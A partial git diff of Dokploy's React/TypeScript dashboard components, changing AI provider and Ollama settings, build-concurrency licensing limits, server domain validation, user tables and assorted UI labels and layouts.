onClick={() => append({ name: "", apiUrl: "" })}
>
<PlusIcon className="h-4 w-4" />
Add Provider
</Button>
<Button type="submit" isLoading={isPending}>
Save
</Button>
</div>
</form>
</Form>
</DialogContent>
</Dialog>
);
};
@@ -99,11 +99,6 @@ export const HandleAi = ({ aiId }: Props) => {
enabled: !!aiId,
},
);
const { data: customProviders } = api.ai.getCustomProviders.useQuery();
const hasCustomProviders = (customProviders?.length ?? 0) > 0;
const providerOptions: { name: string; apiUrl: string }[] = hasCustomProviders
? (customProviders ?? [])
: [...AI_PROVIDERS];
const { mutateAsync, isPending } = aiId
? api.ai.update.useMutation()
: api.ai.create.useMutation();
@@ -136,10 +131,7 @@ export const HandleAi = ({ aiId }: Props) => {
const apiUrl = form.watch("apiUrl");
const apiKey = form.watch("apiKey");
// Any Ollama instance on the default port 11434 is treated as no-auth
// (covers localhost and self-hosted LAN deployments). Ollama Cloud
// (ollama.com on 443) falls through and requires an API key.
const isLocalOllama = apiUrl.includes(":11434");
const isOllama = apiUrl.includes(":11434") || apiUrl.includes("ollama");
const {
data: models,
isFetching: isLoadingServerModels,
@@ -150,7 +142,7 @@ export const HandleAi = ({ aiId }: Props) => {
apiKey: apiKey ?? "",
},
{
enabled: !!apiUrl && (isLocalOllama || !!apiKey),
enabled: !!apiUrl && (isOllama || !!apiKey),
},
);
@@ -215,9 +207,7 @@ export const HandleAi = ({ aiId }: Props) => {
<FormLabel>Provider</FormLabel>
<Select
onValueChange={(value) => {
const provider = providerOptions.find(
(p) => p.apiUrl === value,
);
const provider = AI_PROVIDERS.find((p) => p.apiUrl === value);
if (provider) {
form.setValue("name", provider.name);
form.setValue("apiUrl", provider.apiUrl);
@@ -229,20 +219,15 @@ export const HandleAi = ({ aiId }: Props) => {
<SelectValue placeholder="Select a provider preset..." />
</SelectTrigger>
<SelectContent>
{providerOptions.map((provider) => (
<SelectItem
key={`${provider.name}-${provider.apiUrl}`}
value={provider.apiUrl}
>
{AI_PROVIDERS.map((provider) => (
<SelectItem key={provider.apiUrl} value={provider.apiUrl}>
{provider.name}
</SelectItem>
))}
</SelectContent>
</Select>
<p className="text-[0.8rem] text-muted-foreground">
{hasCustomProviders
? "Select one of the providers defined by your organization"
: "Quick-fill provider name and URL, or configure manually below"}
Quick-fill provider name and URL, or configure manually below
</p>
</div>
@@ -272,7 +257,6 @@ export const HandleAi = ({ aiId }: Props) => {
<FormControl>
<Input
placeholder="https://api.openai.com/v1"
disabled={hasCustomProviders}
{...field}
onChange={(e) => {
field.onChange(e);
@@ -284,16 +268,14 @@ export const HandleAi = ({ aiId }: Props) => {
/>
</FormControl>
<FormDescription>
{hasCustomProviders
? "The API URL is defined by your organization's providers"
: "The base URL for your AI provider's API"}
The base URL for your AI provider's API
</FormDescription>
<FormMessage />
</FormItem>
)}
/>
{!isLocalOllama && (
{!isOllama && (
<FormField
control={form.control}
name="apiKey"
@@ -1828,7 +1828,7 @@ export const HandleNotifications = ({ notificationId }: Props) => {
<div className="">
<FormLabel>App Deploy</FormLabel>
<FormDescription>
Trigger the action when an app is deployed.
Trigger the action when a app is deployed.
</FormDescription>
</div>
<FormControl>
@@ -1890,7 +1890,7 @@ export const HandleNotifications = ({ notificationId }: Props) => {
<div className="space-y-0.5">
<FormLabel>Dokploy Backup</FormLabel>
<FormDescription>
Trigger the action when a Dokploy backup is created.
Trigger the action when a dokploy backup is created.
</FormDescription>
</div>
<FormControl>
@@ -1932,7 +1932,8 @@ export const HandleNotifications = ({ notificationId }: Props) => {
<div className="space-y-0.5">
<FormLabel>Docker Cleanup</FormLabel>
<FormDescription>
Trigger the action when Docker cleanup is performed.
Trigger the action when the docker cleanup is
performed.
</FormDescription>
</div>
<FormControl>
@@ -1954,7 +1955,7 @@ export const HandleNotifications = ({ notificationId }: Props) => {
<div className="space-y-0.5">
<FormLabel>Dokploy Restart</FormLabel>
<FormDescription>
Trigger the action when Dokploy is restarted.
Trigger the action when dokploy is restarted.
</FormDescription>
</div>
<FormControl>
@@ -100,7 +100,7 @@ export const Enable2FA = () => {
});
if (result.error) {
if (result.error.code === "INVALID_CODE") {
if (result.error.code === "INVALID_TWO_FACTOR_AUTHENTICATION") {
toast.error("Invalid verification code");
return;
}
@@ -4,7 +4,9 @@ import { Button } from "@/components/ui/button";
import { Input } from "@/components/ui/input";
import { api } from "@/utils/api";
const MAX_CONCURRENCY = 100;
// Free tier may set up to 2 concurrent builds; enterprise unlocks more.
const FREE_MAX_CONCURRENCY = 2;
const ENTERPRISE_MAX_CONCURRENCY = 100;
interface Props {
/**
@@ -18,10 +20,14 @@ interface Props {
/**
* Control to set the number of concurrent builds, either for a remote server
* (`serverId` provided) or the local web server (omitted). Not shown in cloud.
* (`serverId` provided) or the local web server (omitted). Available to
* everyone self-hosted up to FREE_MAX_CONCURRENCY; higher values require a
* valid enterprise license. Not shown in cloud.
*/
export const BuildsConcurrency = ({ serverId, label }: Props) => {
const { data: isCloud } = api.settings.isCloud.useQuery();
const { data: haveValidLicense } =
api.licenseKey.haveValidLicenseKey.useQuery();
const serverQuery = api.server.one.useQuery(
{ serverId: serverId ?? "" },
@@ -53,7 +59,10 @@ export const BuildsConcurrency = ({ serverId, label }: Props) => {
// Concurrent builds are a self-hosted feature; not shown in cloud.
if (isCloud) return null;
const clamp = (n: number) => Math.min(MAX_CONCURRENCY, Math.max(1, n));
const max = haveValidLicense
? ENTERPRISE_MAX_CONCURRENCY
: FREE_MAX_CONCURRENCY;
const clamp = (n: number) => Math.min(max, Math.max(1, n));
const handleSave = async () => {
const parsed = clamp(Number.parseInt(value, 10) || 1);
@@ -92,7 +101,7 @@ export const BuildsConcurrency = ({ serverId, label }: Props) => {
<Input
type="number"
min={1}
max={MAX_CONCURRENCY}
max={max}
value={value}
onChange={(e) => setValue(e.target.value)}
className="w-20"
@@ -195,7 +195,9 @@ export const CreateServer = ({ stepper }: Props) => {
{sshKey.name}
</SelectItem>
))}
<SelectLabel>SSH Keys ({sshKeys?.length})</SelectLabel>
<SelectLabel>
Registries ({sshKeys?.length})
</SelectLabel>
</SelectGroup>
</SelectContent>
</Select>
@@ -97,7 +97,6 @@ export const ShowUsers = () => {
<TableRow>
<TableHead className="w-[100px]">Email</TableHead>
<TableHead className="text-center">Role</TableHead>
<TableHead className="text-center">Status</TableHead>
<TableHead className="text-center">2FA</TableHead>
<TableHead className="text-center">
@@ -174,19 +173,6 @@ export const ShowUsers = () => {
{member.role}
</Badge>
</TableCell>
<TableCell className="text-center">
<Badge
variant={
member.user.banned
? "destructive"
: "outline"
}
>
{member.user.banned
? "Deactivated"
: "Active"}
</Badge>
</TableCell>
<TableCell className="text-center">
{member.user.twoFactorEnabled
? "Enabled"
@@ -1,7 +1,3 @@
import {
INVALID_HOSTNAME_MESSAGE,
VALID_HOSTNAME_REGEX,
} from "@dokploy/server/utils/hostname-validation";
import { standardSchemaResolver as zodResolver } from "@hookform/resolvers/standard-schema";
import { GlobeIcon } from "lucide-react";
import { useEffect } from "react";
@@ -39,20 +35,13 @@ import { api } from "@/utils/api";
const addServerDomain = z
.object({
domain: z
.string()
.trim()
.toLowerCase()
// empty clears the server domain and reverts to IP-only access
.refine((val) => val === "" || VALID_HOSTNAME_REGEX.test(val), {
message: INVALID_HOSTNAME_MESSAGE,
}),
domain: z.string().trim().toLowerCase(),
letsEncryptEmail: z.string(),
https: z.boolean().optional(),
certificateType: z.enum(["letsencrypt", "none", "custom"]),
})
.superRefine((data, ctx) => {
if (data.domain && data.https && !data.certificateType) {
if (data.https && !data.certificateType) {
ctx.addIssue({
code: z.ZodIssueCode.custom,
path: ["certificateType"],
@@ -60,7 +49,6 @@ const addServerDomain = z
});
}
if (
data.domain &&
data.https &&
data.certificateType === "letsencrypt" &&
!data.letsEncryptEmail
@@ -40,7 +40,6 @@ interface Props {
children?: React.ReactNode;
serverId?: string;
appType?: "stack" | "docker-compose";
serviceId?: string;
}
export const DockerTerminalModal = ({
@@ -48,7 +47,6 @@ export const DockerTerminalModal = ({
appName,
serverId,
appType,
serviceId,
}: Props) => {
const { data, isPending } = api.docker.getContainersByAppNameMatch.useQuery(
{
@@ -133,7 +131,6 @@ export const DockerTerminalModal = ({
serverId={serverId || ""}
id="terminal"
containerId={containerId || "select-a-container"}
serviceId={serviceId}
/>
<Dialog open={confirmDialogOpen} onOpenChange={setConfirmDialogOpen}>
<DialogContent onEscapeKeyDown={(event) => event.preventDefault()}>
@@ -255,13 +255,13 @@ export const UpdateServer = ({
<ToggleAutoCheckUpdates disabled={isPending} />
</div>
<div className="flex items-center justify-end mt-4">
<div className="space-y-4 flex items-center justify-end mt-4 ">
<div className="flex items-center gap-2">
<Button variant="outline" onClick={() => onOpenChange?.(false)}>
Cancel
</Button>
{isUpdateAvailable ? (
<UpdateWebServer buttonClassName="w-auto" />
<UpdateWebServer />
) : (
<Button
variant="secondary"
@@ -20,7 +20,6 @@ import {
AlertDialogTrigger,
} from "@/components/ui/alert-dialog";
import { Button } from "@/components/ui/button";
import { cn } from "@/lib/utils";
import { api } from "@/utils/api";
type ServiceStatus = {
@@ -56,11 +55,7 @@ const ServiceStatusItem = ({
</div>
);
export const UpdateWebServer = ({
buttonClassName,
}: {
buttonClassName?: string;
}) => {
export const UpdateWebServer = () => {
const [modalState, setModalState] = useState<ModalState>("idle");
const [open, setOpen] = useState(false);
const [healthResult, setHealthResult] = useState<HealthResult | null>(null);
@@ -141,7 +136,7 @@ export const UpdateWebServer = ({
<AlertDialog open={open}>
<AlertDialogTrigger asChild>
<Button
className={cn("relative w-full", buttonClassName)}
className="relative w-full"
variant="secondary"
onClick={() => setOpen(true)}
>
@@ -87,29 +87,29 @@ export const RebuildDatabase = ({ id, type }: Props) => {
<AlertTriangle className="h-5 w-5 text-destructive" />
Are you absolutely sure?
</AlertDialogTitle>
<AlertDialogDescription asChild>
<div className="space-y-2">
<p>This action will:</p>
<ul className="list-disc list-inside space-y-1">
<li>Stop the current database service</li>
<li>Delete all existing data and volumes</li>
<li>Reset to the default configuration</li>
<li>Restart the service with a clean state</li>
</ul>
<p className="font-medium text-destructive mt-4">
This action cannot be undone.
</p>
</div>
<AlertDialogDescription className="space-y-2">
<p>This action will:</p>
<ul className="list-disc list-inside space-y-1">
<li>Stop the current database service</li>
<li>Delete all existing data and volumes</li>
<li>Reset to the default configuration</li>
<li>Restart the service with a clean state</li>
</ul>
<p className="font-medium text-destructive mt-4">
This action cannot be undone.
</p>
</AlertDialogDescription>
</AlertDialogHeader>
<AlertDialogFooter>
<AlertDialogCancel>Cancel</AlertDialogCancel>
<AlertDialogAction
onClick={handleRebuild}
disabled={isPending}
variant="destructive"
className="bg-destructive text-destructive-foreground hover:bg-destructive/90"
asChild
>
Yes, rebuild database
<Button isLoading={isPending} type="submit">
Yes, rebuild database
</Button>
</AlertDialogAction>
</AlertDialogFooter>
</AlertDialogContent>
@@ -1,6 +1,5 @@
import { ShowResources } from "@/components/dashboard/application/advanced/show-resources";
import { ShowVolumes } from "@/components/dashboard/application/advanced/volumes/show-volumes";
import { AssignNetworks } from "@/components/dashboard/networks/assign-networks";
import { ShowCustomCommand } from "@/components/dashboard/postgres/advanced/show-custom-command";
import { ShowClusterSettings } from "../application/advanced/cluster/show-cluster-settings";
import { RebuildDatabase } from "./rebuild-database";
@@ -22,7 +21,6 @@ export const ShowDatabaseAdvancedSettings = ({ id, type }: Props) => {
<ShowClusterSettings id={id} type={type} />
) : null}
<ShowVolumes id={id} type={type} />
<AssignNetworks id={id} type={type} />
<ShowResources id={id} type={type} />
<RebuildDatabase id={id} type={type} />
</div>
@@ -33,7 +33,7 @@ export const ShowNodeApplications = ({ serverId }: Props) => {
return (
<Dialog>
<DialogTrigger asChild>
<Button variant="outline" size="sm">
<Button variant="outline" size="sm" className="w-full">
<Loader2 className="h-4 w-4 mr-2 animate-spin" />
</Button>
</DialogTrigger>
@@ -82,7 +82,7 @@ export const ShowNodeApplications = ({ serverId }: Props) => {
return (
<Dialog>
<DialogTrigger asChild>
<Button variant="outline" size="sm">
<Button variant="outline" size="sm" className="w-full">
<Layers className="h-4 w-4 mr-2" />
Services
</Button>
@@ -110,7 +110,7 @@ export function NodeCard({ node, serverId }: Props) {
</div>
</div>
<div className="flex justify-end w-full gap-4">
<div className="flex justify-end w-full space-x-4">
<ShowNodeConfig nodeId={node.ID} serverId={serverId} />
<ShowNodeApplications serverId={serverId} />
</div>
@@ -24,7 +24,7 @@ export const ShowNodeConfig = ({ nodeId, serverId }: Props) => {
return (
<Dialog>
<DialogTrigger asChild>
<Button variant="outline" size="sm">
<Button variant="outline" size="sm" className="w-full">
<Settings className="h-4 w-4 mr-2" />
Config
</Button>

Some files were not shown because too many files have changed in this diff Show More